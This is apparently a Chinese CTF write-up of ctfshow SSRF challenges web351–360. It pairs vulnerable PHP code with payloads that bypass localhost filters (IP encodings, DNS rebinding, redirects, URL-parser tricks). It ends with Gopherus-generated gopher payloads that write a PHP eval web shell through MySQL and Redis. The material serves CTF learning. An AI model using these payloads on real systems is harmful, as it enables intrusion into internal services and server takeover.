web351

SSRF基础

SSRF是一种有攻击者构造形成由服务daunt发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为他是有服务器端发起的,所以它能够请求到与他相连而与外网隔离的内部系统)

相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
  • readfile():输出一个文件的内容
  • fsockopen():打开一个网络连接或者一个Unix套接字连接
  • curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt() curl_exec() 和 curl_close()函数使用
  • fopen():打开一个文件或者url
  • PHP原生类soapclient在触发反序列化时可导致ssrf

相关协议

  • file协议:在有回显的情况下,利用file协议可以读取任意文件的内容
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gophar支持发出get post请求.可以先截获get请求包和post请求包,在构造成符合gopher协议的请求.gophar协议是ssrf利用中一个最强大的协议(俗称万能协议).可以用于反弹shell
  • http/s协议:探测主机内网主机存活

利用方式

  1. 让服务端去访问相应的网址
  2. 让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
  3. 可以使用file dict gopher ftp协议进行请求访问相应的文件
  4. 攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})
  5. 攻击内网应用程序(利用跨协议通讯技术)
  6. 判断内网主机是否存活:方法是访问看是否有端口开放
  7. Dos攻击(请求大文件,始终保持连接keep-alive always)

题目

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);#初始化一个curl会话 并将CURLOPT_URL选项将会被设置成这个值,
curl_setopt($ch, CURLOPT_HEADER, 0);#设置一个curl传输选项 CURLOPT_HEADER启用时会将头文件的信息作为数据输出流输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);#CURLOPT_RETURNTRANSFER将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
$result=curl_exec($ch);#执行给定的curl会话
curl_close($ch);#关闭一个curl会话
echo ($result);
?>

先访问下index.php文件试试

image-20220328182412744

image-20220328182419504

扫了下目录

image-20220328182457772

也可以使用file协议读取文件,但是怎么得到网站路径呢(我不会)

image-20220328184035147

url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://127.1/flag.php
url=http://2130706433/flag.php
url=http://017700000001/flag.php
url=http://0b1111111000000000000000000000001/flag.php 		不行
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://localhost/flag.php
url=http://127.127.127.127/flag.php

web352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){#如果scheme是http或者scheme
if(!preg_match('/localhost|127.0.0/')){#如果没有匹配到localhost或者127.0.0.1
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

parse_url函数返回

Array (
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://127.1/flag.php
url=http://2130706433/flag.php
url=http://017700000001/flag.php
url=http://0b1111111000000000000000000000001/flag.php 		不行
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://localhost/flag.php
url=http://127.127.127.127/flag.php

image-20220331164446314

web353

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://127.1/flag.php
url=http://2130706433/flag.php
url=http://017700000001/flag.php
url=http://0b1111111000000000000000000000001/flag.php 		不行
url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://localhost/flag.php	不行
url=http://127.127.127.127/flag.php

web354

302跳转

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

ssrf.php

<?php header("Location: http://127.0.0.1/flag.php");

image-20220409213546208

访问这个文件就跳转,不过我没有公网ip

image-20220409215541568

注册->添加dns rebinding->复制identifier->前面加个r

image-20220409215639292

现成的A记录是127.0.0.1的网站

url=http://sudo.cc/flag.php
自己的域名A记录设为了127.0.0.1

替换一下localhost

with open('Expectedsolution.txt','w') as f:
    for i in range(128,65537):    
        tmp=chr(i)    
        try:        
            res = tmp.encode('idna').decode('utf-8')        
            if("-") in res:            
                continue
            f.write("U:{}    A:{}      ascii:{} ".format(tmp, res, i) + '\n')       
            print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
        except:        
            pass
f.close()

替换字符a为£Á：即loc£Álhost

web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

设置了$host<5的限制，随便来个利用127.0.0.1=127.1刚好是5位

url=http://0/flag.php
url=http://127.1/flag.php

web356

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker
url=http://0/flag.php

web357

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值

不能有私有地址

web358

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

url=http://ctf.@127.0.0.1/flag.php?.show

web359

ssrf打无密码mysql gopherus工具

image-20220409231917551

image-20220409232024479

发现访问了这个地址Gopherus

gopherus --exploit mysql
root   
select "<?php eval($_POST['zf']);?>" INTO OUTFILE '/var/www/html/zf.php'

image-20220410141657582

image-20220410141702883

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%49%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%66%27%5d%29%3b%3f%3e%22%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%7a%66%2e%70%68%70%27%01%00%00%00%01

在3306/_后面的一串字符串需要再进行一次url关键字符编码才可以使用

image-20220410141733071

u=1&returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2549%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%257a%2566%2527%255d%2529%253b%253f%253e%2522%2520%2549%254e%2554%254f%2520%254f%2555%2554%2546%2549%254c%2545%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%257a%2566%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501

image-20220410141757662

image-20220410141806054

web360

ssrf打无密码redis gopherus工具

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 
gopherus --exploit redis
php

<?php eval($_POST['zf']);?>

image-20220410144704672

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27zf%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527zf%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

image-20220410144756321

image-20220410144816907